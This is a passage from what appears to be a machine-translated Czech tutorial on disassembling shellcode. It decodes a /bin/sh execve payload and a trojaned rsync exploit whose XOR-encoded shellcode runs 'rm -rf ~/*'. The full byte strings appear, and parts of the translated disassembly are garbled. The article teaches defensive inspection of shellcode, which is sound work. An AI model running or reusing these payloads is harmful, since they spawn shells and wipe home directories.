Výpis 16. Demontáž s ndisasmem$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp krátký 0x19 ; Počáteční skok na CALL 00000002 5E pop esi ; Uložte adresu řetězce do ; ESI 00000003 897608 mov ,esi ; Napište adresu řetězce do ; ESI + 8 00000006 31C0 xor eax,eax ; Zero out EAX 00000008 884607 mov ,al ; Nulové ukončení řetězce 0000000B 89460C mov ,eax ; Zapište nulový ukazatel na ESI + 12 0000000E B00B mov al,0xb ; Číslo execve(2) syscall 00000010 89F3 mov ebx,esi ; Uložte adresu řetězce do ; EBX (první argument) 00000012 8D4E08 lea ecx, ; Druhý argument (ukazatel na pole ;) 00000015 31D2 xor edx,edx ; Zero out EDX (třetí argument) 00000017 CD80 int 0x80 ; Proveďte systémové volání 00000019 E8E4FFFFFF volání 0x2 ; Push adresu řetězce a ; skok na druhý; instrukce 0000001E 2F das; "/bin/shX" 0000001F 62696E vázaný ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...ale lepší ovládání
Přesto zůstává osvědčeným postupem zvyk zkontrolovat kód shellu před jeho použitím. Například 28. května 2004 vtipálek zveřejnil veřejný exploit pro rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), ale kód byl nejasný: po části dobře komentovaný kód tam byl nenápadný kousek, výpis 17.

Po zhlédnutí main() bylo jasné, že exploit běží lokálně:

(long) funct = [...] funct();

Abychom tedy pochopili, co shell kód dělá, nemusíme jej spouštět, ale raději jej rozebrat, výpis 18.

Výpis 18. Rozebraný, špatně viditelný kód shellu$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp krátký 0x12 ; Přejít na VOLEJTE 00000002 5E pop esi ; Načíst adresu bajtu 0x17 00000003 31C9 xor ecx,ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Nastavte čítač smyček (viz ; instrukce 0x0E) 00000007 B0FF mov al,0xff ; Nastavte masku XOR 00000009 3006 xor ,al ; XOR byte 0x17 s AL 0000000B FEC8 de al ; Snížit masku XOR 0000000D 46 inc esi ; Načtěte adresu dalšího bajtu 0000000E E2F9 smyčka 0x9 ; Udržujte XORing, dokud ECX=0 00000010 EB05 jmp krátký 0x17 ; Skok na první XORed instrukci 00000012 E8EBFFFFFF volání 0x2 ; PUSH adresu dalšího bajtu a ; skok na druhý pokyn 00000017 17 pop ss [...]

Jak vidíte, jedná se o samomodifikující shell kód: instrukce 0x17 až 0x4B jsou za běhu dekódovány XORingem jejich hodnoty z AL, která je nejprve doplněna 0xFF a poté dekrementována při každém průchodu smyčkou. Po dekódování se instrukce provede (jmp short 0x17). Pokusme se pochopit, která instrukce se skutečně provádí. Můžeme dekódovat kód shellu pomocí Pythonu, výpis 19.

Výpis 19. Dekódování kódu shellu pomocí Pythonu decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" tisk "".join()])

Hexadecimální výpis nám dá první nápad: podívejte se na výpis 20.

Hmmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Nebuďte ohledně kódu příliš optimističtí! Ale pro jistotu to rozebereme, výpis 21.

První je příkaz CALL, za kterým bezprostředně následuje řádek, který vytiskne hexadecimální výpis. Tímto způsobem lze přepsat začátek kódu shellu, viz Výpis 22.

Uložme operační kódy, počínaje instrukcí 0x2a (42), výpis 23:

Výpis 23. Kontrola, které funkce jsou volány$ ./decode_exp.py | řez -c 43- | ndisasm -u - 00000000 5D pop ebp ; Získejte adresu řetězce; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 push eax ; Zatlačte nulový ukazatel na zásobník 00000004 8D5D0E lea ebx, ; Uložte adresu ; "rm -rf ~/* 2>/dev/null" v EBX 00000007 53 push ebx ; a zatlačte jej na zásobník 00000008 8D5D0B lea ebx, ; Uložte adresu "-c" do EBX 0000000B 53 push ebx ; a zatlačte jej na zásobník 0000000C 8D5D08 lea ebx, ; Uložte adresu "sh" do EBX 0000000F 53 push ebx ; a zatlačte jej na zásobník 00000010 89EB mov ebx,ebp ; Uložte adresu "/bin/sh" do ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Uložte ukazatel zásobníku do ECX (ESP ; ukazuje na "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Třetí argument k execve() 00000016 B00B mov al,0xb ; Číslo execve() syscall 00000018 CD80 int 0x80 ; Proveďte systémové volání 0000001A 89C3 mov ebx,eax ; Uložte 0xb do EBX (výstupní kód=11) 0000001C 31C0 xor eax,eax ; Zero out EAX 0000001E 40 inc eax ; EAX=1 (číslo syscall exit()) 0000001F CD80 int 0x80 ; Proveďte systémové volání

Z toho jasně vidíme, že execve(2) se volá s polem argumentů sh, -c, rm -rf ~/* 2>/dev/null. Takže nikdy neuškodí otestovat svůj kód před spuštěním!




Nahoru